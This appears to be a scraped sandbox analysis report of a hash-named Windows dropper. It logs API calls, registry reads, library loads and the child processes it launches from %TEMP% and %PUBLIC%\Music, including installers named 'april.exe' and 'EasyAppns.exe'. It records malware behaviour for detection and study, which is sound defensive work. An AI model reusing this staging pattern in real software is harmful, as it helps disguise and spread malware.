1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000000000000625ee021e25ee02 (UID: 00000000-00005760) "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000000000007e2eee02942eee02 (UID: 00000000-00005760) "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000000000009e32ee02b632ee02 (UID: 00000000-00005760)2d:T14e4,"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3.exe" called "GetVersionExA" with parameter 940000000600000002000000f02300000200000000006d003b0043003a005c00500072006f006700720061006d002000460069006c00650073005c006e006f00640065006a007300000050004100540048004500580054003d002e0043004f004d003b002e004500580045003b002e004200410054003b002e0043004d0044003b002e005600420053003b002e00560042004500 (UID: 00000000-00005760) "InstallSetup_four.exe" called "GetVersionExA" with parameter 940000000600000002000000f0230000020000000000000000000000000000000000000000000000000000000100000000000000ffffffffffffffff0c0000000000000038eb3501000000000400000000000000000000000000000028c72d77f90ed5360c0000003ceb3501f1c62d77ffffffff0c00000038eb35010400000000040000010000004ceb3501210e3f0500000000 (UID: 00000000-00008076) "288c47bbc1871b439df19ff4df68f076.exe" called "GetVersionExA" with parameter 940000000600000002000000f0230000020000000000000000000000000000000000000000000000000000000100000000000000ffffffffffffffff0c0000000000000080e70f01000000000400000000000000000000000000000028c72d77cd63143f0c00000084e70f01f1c62d77ffffffff0c00000080e70f0104000000000400000100000094e70f01210e920500000000 (UID: 00000000-00007560) "EasyAppns.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000000000003809e70200000000b8e0d30059164b770100000008000000010000000000fb020000000010000000000000000000000002000000020000000000fb02010000000800000000000000d8e0d300ee134b7701000000ee134b7708000000000000000800000018c6982710e3d300ad9c9f720000fb020800000001000000 (UID: 00000000-00001560) "april.exe" called "GetVersionExA" with parameter 940000000600000002000000f02300000200000000214000c0fb3301482140004f214000249b4000249b4000030000008c0337056c03370520000000c5224000ecfb3301ee224000f5224000249b400003000000d8fb330100000000e4fb3301b6254000dd314000249b4000090400005b55400063554000249b4000249b400000b0030100000000000000000000000004fc3301 (UID: 00000000-00007680) "april.tmp" called "GetVersionExA" with parameter 940000000600000002000000f0230000020000000021400014fbaf00fc214000032240002c2949002c294900030000008c03dc046c03dc04200000007923400040fbaf00a2234000a92340002c294900030000002cfbaf000000000038fbaf006a264000453440002c29490009040000cf884000d78840002c2949002c29490000c0890000000000000000000000000058fbaf00 (UID: 00000000-00007668) "april.tmp" called "GetVersionExA" with parameter 940000000600000002000000f023000002000000000000000e02430000000000d0faaf00b7c0002e0002430000000000b8faaf0028fbaf006cfbaf0050d46b751bf6c57cfeffffff1c2f6975632b697528fbaf000000000078fbaf00cb01430028fbaf00576e6450726f6350747230303430303030303030303031444630000000294900000040000008010cf01d000000c08900 (UID: 00000000-00007668) "april.tmp" called "GetVersionExA" with parameter 940000000600000002000000f02300000200000000000000f023000002000000000000000e02430000000000d0faaf00b7c0002e0002430000000000b8faaf0028fbaf006cfbaf0050d46b751bf6c57cfeffffff1c2f6975632b697528fbaf000000000078fbaf00cb01430028fbaf00576e6450726f635074723030343030303030303030303144463000000029490000004000 (UID: 00000000-00007668) "april.tmp" called "GetVersionExA" with parameter 940000000600000002000000f0230000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007668) "april.tmp" called "GetVersionExA" with parameter 9c0000000600000002000000f0230000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000079c97af60000000058fbaf000fdd470000007475b8dd470001000000090000000010000000000100fffffeff0300000002000000d8210000000001000600004f (UID: 00000000-00007668) "april.tmp" called "GetVersionExA" with parameter 940000000600000002000000f02300000200000000000000a80bbe0200000000f8edaf0059164b770100000008000000010000000000da020000000010000000000000000000000002000000020000000000da0201000000080000000000000018eeaf00ee134b7701000000ee134b77080000000000000008000000cd3fd5f650f0af00ad9c9f720000da020800000001000000 (UID: 00000000-00007668) "flashdecompiler32.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003b3888a00cfd930000000000b4fe9300506a4e77b3284dd7fefffffff9de4977a5992f770210000000000000000000000010000000000000000000006c7d4b00c4fe9300f9de4977 (UID: 00000000-00007224) "EasyApp.exe" called "GetVersionExA" with parameter 940000000600000002000000f0230000020000000000000000000000000000000000000000000000000000000100000000000000ffffffffffffffff0c00000000000000f0e7fb00000000000400000000000000000000000000000028c72d778c3462d40c000000f4e7fb00f1c62d77ffffffff0c000000f0e7fb0004000000000400000100000004e8fb00210ee60400000000 (UID: 00000000-00004644) "flashdecompiler32.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002a68bd4008fa8f0000000000b0fb8f00506a4e77be7d6437fefffffff9de4977a5992f770210000000000000000000000010000000000000000000006c7d4b00c0fb8f00f9de4977 (UID: 00000000-00004496)2e:T619,Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTime"; File: "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3") Found reference to API "GetSystemTimePreciseAsFileTime" (Indicator: "GetSystemTime"; File: "00000000-00008076.00000001.173786.00400000.00000040.mdmp") Found reference to API "GetSystemTime" (Indicator: "GetSystemTime"; File: "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3") Found reference to API "GetLocalTime" (Indicator: "GetLocalTime"; File: "00000000-00001560.00000000.171932.00096000.00000002.mdmp") Found reference to API "GetSystemTimeAdjustment" (Indicator: "GetSystemTime"; File: "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3") Found reference to API "GetSystemTime" (Indicator: "GetSystemTime"; Source: "00000000-00001560.00000000.171932.00096000.00000002.mdmp") Found reference to API "GetLocalTime" (Indicator: "GetLocalTime"; Source: "00000000-00001560.00000000.171932.00096000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTime"; Source: "00000000-00001560.00000000.171932.00096000.00000002.mdmp, 00000000-00001560.00000000.171932.056A4000.00000004.mdmp, 00000000-00001560.00000000.171932.72907000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTime"; Source: "00000000-00004496.00000000.172807.004BE000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTime"; Source: "00000000-00004644.00000000.172374.00409000.00000002.mdmp")2f:T601,"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "InstallSetup_four.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "288c47bbc1871b439df19ff4df68f076.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "EasyAppns.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "EasyAppns.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "april.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "april.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "april.tmp" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "april.tmp" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "flashdecompiler32.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "EasyApp.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED")30:T67c,Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; File: "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3") Found reference to API "SystemTimeToFileTime" (Indicator: "SystemTimeToFileTime"; File: "00000000-00001560.00000000.171932.00096000.00000002.mdmp") Found reference to API "FileTimeToLocalFileTime" (Indicator: "FileTimeToLocalFileTime"; File: "00000000-00001560.00000000.171932.00096000.00000002.mdmp") Found reference to API "FileTimeToSystemTime" (Indicator: "FileTimeToSystemTime"; File: "00000000-00001560.00000000.171932.00096000.00000002.mdmp") Found reference to API "SystemTimeToFileTime" (Indicator: "SystemTimeToFileTime"; Source: "00000000-00001560.00000000.171932.00096000.00000002.mdmp") Found reference to API "FileTimeToLocalFileTime" (Indicator: "FileTimeToLocalFileTime"; Source: "00000000-00001560.00000000.171932.00096000.00000002.mdmp") Found reference to API "FileTimeToSystemTime" (Indicator: "FileTimeToSystemTime"; Source: "00000000-00001560.00000000.171932.00096000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00001560.00000000.171932.00096000.00000002.mdmp, 00000000-00001560.00000000.171932.056A4000.00000004.mdmp, 00000000-00001560.00000000.171932.72907000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00004496.00000000.172807.004BE000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00004644.00000000.172374.00409000.00000002.mdmp")31:T76d,Found reference to API "GetMonitorInfoW" (Indicator: "GetMonitorInfo"; File: "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3") Found reference to API "GetSystemInfo" (Indicator: "GetSystemInfo"; File: "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3") Found reference to API "ExpandEnvironmentStringsW" (Indicator: "ExpandEnvironmentStrings"; File: "00000000-00001560.00000000.171932.00096000.00000002.mdmp") Found reference to API "GetMonitorInfoA" (Indicator: "GetMonitorInfo"; File: "00000000-00007668.00000000.172116.00401000.00000020.mdmp") Found reference to API "GetNativeSystemInfo" (Indicator: "GetNativeSystemInfo"; File: "00000000-00007668.00000000.172116.00401000.00000020.mdmp") Found reference to API "ExpandEnvironmentStringsW" (Indicator: "ExpandEnvironmentStrings"; Source: "00000000-00001560.00000000.171932.00096000.00000002.mdmp") Found reference to API "GetSystemInfo" (Indicator: "GetSystemInfo"; Source: "00000000-00001560.00000000.171932.00096000.00000002.mdmp") Found reference to API "GetUserObjectInformationW" (Indicator: "GetUserObjectInformation"; Source: "00000000-00001560.00000000.171932.056A4000.00000004.mdmp, 00000000-00001560.00000000.171932.05730000.00000004.mdmp, 00000000-00001560.00000000.171932.72907000.00000002.mdmp") Found reference to API "GetMonitorInfoW" (Indicator: "GetMonitorInfo"; Source: "00000000-00001560.00000000.171932.056A4000.00000004.mdmp") Found reference to API "RtlNtStatusToDosErrorNoTeb" (Indicator: "RtlNtStatusToDosError"; Source: "00000000-00001560.00000000.171932.728A1000.00000020.mdmp") Found reference to API "GetUserObjectInformationW" (Indicator: "GetUserObjectInformation"; Source: "00000000-00004644.00000000.172374.00409000.00000002.mdmp") Found reference to API "GetMonitorInfoW" (Indicator: "GetMonitorInfo"; Source: "00000000-00004644.00000000.172374.00409000.00000002.mdmp")32:T619,Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTime"; File: "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3") Found reference to API "GetSystemTimePreciseAsFileTime" (Indicator: "GetSystemTime"; File: "00000000-00008076.00000001.173786.00400000.00000040.mdmp") Found reference to API "GetSystemTime" (Indicator: "GetSystemTime"; File: "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3") Found reference to API "GetLocalTime" (Indicator: "GetLocalTime"; File: "00000000-00001560.00000000.171932.00096000.00000002.mdmp") Found reference to API "GetSystemTimeAdjustment" (Indicator: "GetSystemTime"; File: "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3") Found reference to API "GetSystemTime" (Indicator: "GetSystemTime"; Source: "00000000-00001560.00000000.171932.00096000.00000002.mdmp") Found reference to API "GetLocalTime" (Indicator: "GetLocalTime"; Source: "00000000-00001560.00000000.171932.00096000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTime"; Source: "00000000-00001560.00000000.171932.00096000.00000002.mdmp, 00000000-00001560.00000000.171932.056A4000.00000004.mdmp, 00000000-00001560.00000000.171932.72907000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTime"; Source: "00000000-00004496.00000000.172807.004BE000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTime"; Source: "00000000-00004644.00000000.172374.00409000.00000002.mdmp")33:T891,Found reference to API "FindWindowExW" (Indicator: "FindWindow"; File: "00000000-00001560.00000000.171932.00096000.00000002.mdmp") Found reference to API "GetWindowTextW" (Indicator: "GetWindowText"; File: "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3") Found reference to API "GetWindowTextLengthW" (Indicator: "GetWindowText"; File: "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3") Found reference to API "GetActiveWindow" (Indicator: "GetActiveWindow"; File: "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3") Found reference to API "EnumWindows" (Indicator: "EnumWindows"; File: "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3") Found reference to API "FindWindowA" (Indicator: "FindWindow"; File: "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3") Found reference to API "GetForegroundWindow" (Indicator: "GetForegroundWindow"; File: "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3") Found reference to API "GetWindowTextA" (Indicator: "GetWindowText"; File: "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3") Found reference to API "FindWindowExW" (Indicator: "FindWindow"; Source: "00000000-00001560.00000000.171932.00096000.00000002.mdmp") Found reference to API "GetActiveWindow" (Indicator: "GetActiveWindow"; Source: "00000000-00001560.00000000.171932.056A4000.00000004.mdmp, 00000000-00001560.00000000.171932.05730000.00000004.mdmp") Found reference to API "GetForegroundWindow" (Indicator: "GetForegroundWindow"; Source: "00000000-00001560.00000000.171932.72907000.00000002.mdmp") Found reference to API "GetActiveWindow" (Indicator: "GetActiveWindow"; Source: "00000000-00004496.00000000.172807.004BE000.00000002.mdmp") Found reference to API "GetWindowTextLengthW" (Indicator: "GetWindowText"; Source: "00000000-00004496.00000000.172807.004BE000.00000002.mdmp") Found reference to API "GetWindowTextW" (Indicator: "GetWindowText"; Source: "00000000-00004496.00000000.172807.004BE000.00000002.mdmp") Found reference to API "GetActiveWindow" (Indicator: "GetActiveWindow"; Source: "00000000-00004644.00000000.172374.00409000.00000002.mdmp")34:Ta97,Found reference to API "!This program cannot be run in DOS mode.RichW.text`.rdata@.relocQSUV^][YD$ EHD$ uDisableThreadLibraryCallsKERNEL32.dllISCrypt.dllArcFourCryptArcFourInitISCryptGetVersion" (Indicator: "GetVersion"; File: "_iscrypt.dll") Found reference to API "GetVersionExA" (Indicator: "GetVersionExA"; File: "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3") Found reference to API "GetVersionExA" (Indicator: "GetVersion"; File: "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3") Found reference to API "GetVersionExW" (Indicator: "GetVersionExW"; File: "00000000-00001560.00000000.171932.00096000.00000002.mdmp") Found reference to API "GetVersionExW" (Indicator: "GetVersion"; File: "00000000-00001560.00000000.171932.00096000.00000002.mdmp") Found reference to API "GetVersion" (Indicator: "GetVersion"; File: "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3") Found reference to API "ISCryptGetVersion" (Indicator: "GetVersion"; File: "00000000-00007668.00000000.172116.00401000.00000020.mdmp") Found reference to API "VerSetConditionMask" (Indicator: "VerSetConditionMask"; File: "00000000-00007668.00000000.172116.00401000.00000020.mdmp") Found reference to API "VerifyVersionInfoW" (Indicator: "VerifyVersionInfo"; File: "00000000-00007668.00000000.172116.00401000.00000020.mdmp") Found reference to API "GetVersionExW" (Indicator: "GetVersionExW"; Source: "00000000-00001560.00000000.171932.00096000.00000002.mdmp, 00000000-00001560.00000000.171932.72907000.00000002.mdmp") Found reference to API "GetVersionExW" (Indicator: "GetVersion"; Source: "00000000-00001560.00000000.171932.00096000.00000002.mdmp, 00000000-00001560.00000000.171932.72907000.00000002.mdmp") Found reference to API "GetVersionExA" (Indicator: "GetVersionExA"; Source: "00000000-00004496.00000000.172807.004BE000.00000002.mdmp") Found reference to API "GetVersionExA" (Indicator: "GetVersion"; Source: "00000000-00004496.00000000.172807.004BE000.00000002.mdmp") Found reference to API "GetVersionExW" (Indicator: "GetVersionExW"; Source: "00000000-00004496.00000000.172807.004BE000.00000002.mdmp") Found reference to API "GetVersionExW" (Indicator: "GetVersion"; Source: "00000000-00004496.00000000.172807.004BE000.00000002.mdmp") Found reference to API "GetVersion" (Indicator: "GetVersion"; Source: "00000000-00004496.00000000.172807.004BE000.00000002.mdmp") Found reference to API "tlGetVersion" (Indicator: "GetVersion"; Source: "00000000-00004644.00000000.172374.03220000.00000004.mdmp") Found reference to API "10451444748,2232,3024,,RtlGetVersion,NTDq" (Indicator: "GetVersion"; Source: "00000000-00005760.00000000.171650.02E50000.00000004.mdmp")35:T7f1,"EasyAppns.exe" called "CreateDirectoryW" with parameter C:\Users (UID: 00000000-00001560) "EasyAppns.exe" called "CreateDirectoryW" with parameter C:\Users\Public (UID: 00000000-00001560) "EasyAppns.exe" called "CreateDirectoryW" with parameter %PUBLIC%\Music (UID: 00000000-00001560) "EasyAppns.exe" called "CreateDirectoryW" with parameter Packet (UID: 00000000-00001560) "EasyAppns.exe" called "CreateDirectoryW" with parameter Packet\_ce (UID: 00000000-00001560) "EasyAppns.exe" called "CreateDirectoryW" with parameter Packet\_ce\_cf (UID: 00000000-00001560) "EasyAppns.exe" called "CreateDirectoryW" with parameter Packet\_ce\_cf\_ey (UID: 00000000-00001560) "EasyAppns.exe" called "CreateDirectoryW" with parameter Packet\_ce\_cv (UID: 00000000-00001560) "EasyAppns.exe" called "CreateDirectoryW" with parameter Packet\_ce\_cf\_ey\_nb (UID: 00000000-00001560) "EasyAppns.exe" called "CreateDirectoryW" with parameter Packet\_ce\_cf\_ey\_nm (UID: 00000000-00001560) "EasyAppns.exe" called "CreateDirectoryW" with parameter Packet\_ce\_cf\_ey\_oh (UID: 00000000-00001560) "EasyAppns.exe" called "CreateDirectoryW" with parameter Packet\_ce\_cf\_ey\_ph (UID: 00000000-00001560) "EasyAppns.exe" called "CreateDirectoryW" with parameter Packet\_ce\_cf\_ey\_qg (UID: 00000000-00001560) "EasyAppns.exe" called "CreateDirectoryW" with parameter Packet\_ce\_cf\_ey\_ro (UID: 00000000-00001560) "EasyAppns.exe" called "CreateDirectoryW" with parameter Packet\_ce\_cf\_ey\_up (UID: 00000000-00001560) "EasyAppns.exe" called "CreateDirectoryW" with parameter Packet\_ce\_cf\_ey\_vz (UID: 00000000-00001560) "EasyAppns.exe" called "CreateDirectoryW" with parameter Packet\_ce\_cf\_ey\_we (UID: 00000000-00001560) "EasyAppns.exe" called "CreateDirectoryW" with parameter Packet\_ce\_cf\_ey\_xa (UID: 00000000-00001560) "EasyAppns.exe" called "CreateDirectoryW" with parameter Packet\_ce\_cf\_do (UID: 00000000-00001560) "EasyAppns.exe" called "CreateDirectoryW" with parameter Packet\_ce\_cf\_ec (UID: 00000000-00001560)36:T4db,"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3.exe" called "CreateProcessW" with parameter ""%TEMP%\InstallSetup_four.exe"" - (UID: 00000000-00005760) "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3.exe" called "CreateProcessW" with parameter ""%TEMP%\288c47bbc1871b439df19ff4df68f076.exe"" - (UID: 00000000-00005760) "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3.exe" called "CreateProcessW" with parameter ""%TEMP%\EasyAppns.exe"" - (UID: 00000000-00005760) "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3.exe" called "CreateProcessW" with parameter ""%TEMP%\april.exe"" - (UID: 00000000-00005760) "EasyAppns.exe" called "CreateProcessW" with parameter ""%PUBLIC%\Music\EasyApp.exe"" - (UID: 00000000-00001560) "april.exe" called "CreateProcessA" with parameter ""%TEMP%\is-T5UCC.tmp\april.tmp" /SL5="$302F4 1485356 54272 %TEMP%\april.exe"" - (UID: 00000000-00007680) "april.tmp" called "CreateProcessA" with parameter ""%LOCALAPPDATA%\Senior Flash Decompiler\flashdecompiler32.exe" -i" - (UID: 00000000-00007668) "april.tmp" called "CreateProcessA" with parameter ""%LOCALAPPDATA%\Senior Flash Decompiler\flashdecompiler32.exe" -s" - (UID: 00000000-00007668)37:T4115,"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00005760) "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00005760) "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00005760) "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00005760) "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00005760) "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll (UID: 00000000-00005760) "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00005760) "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00005760) "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00005760) "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll (UID: 00000000-00005760) "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00005760) "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00005760) "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll (UID: 00000000-00005760) "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00005760) "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00005760) "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00005760) "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll (UID: 00000000-00005760) "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll (UID: 00000000-00005760) "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00005760) "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00005760) "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00005760) "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00005760) "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll (UID: 00000000-00005760) "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00005760) "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00005760) "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll (UID: 00000000-00005760) "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Core\31fae3290fad30c31c98651462d22724\System.Core.ni.dll (UID: 00000000-00005760) "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00005760) "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\en\mscorrc.dll (UID: 00000000-00005760) "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll (UID: 00000000-00005760) "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00005760) 